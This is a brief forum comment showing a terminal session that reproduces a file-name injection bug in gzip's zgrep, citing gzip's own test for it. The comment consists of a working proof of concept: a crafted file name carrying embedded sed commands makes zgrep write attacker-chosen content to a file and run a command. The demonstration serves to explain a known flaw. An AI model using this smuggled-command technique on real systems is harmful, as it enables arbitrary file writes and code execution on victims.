Comment by timdoug

This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse:

  timdoug@box:~/gzip$ ls
  timdoug@box:~/gzip$ touch z
  timdoug@box:~/gzip$ echo test | gzip > 'z|
  p
  1s|.*|chosen-content|
  1w hacked
  etouch .\x2fhacked2
  d
  #
  #'
  timdoug@box:~/gzip$ zgrep test z*
  ztest
  timdoug@box:~/gzip$ ls hack*
  hacked  hacked2
  timdoug@box:~/gzip$ cat hacked
  chosen-content
  timdoug@box:~/gzip$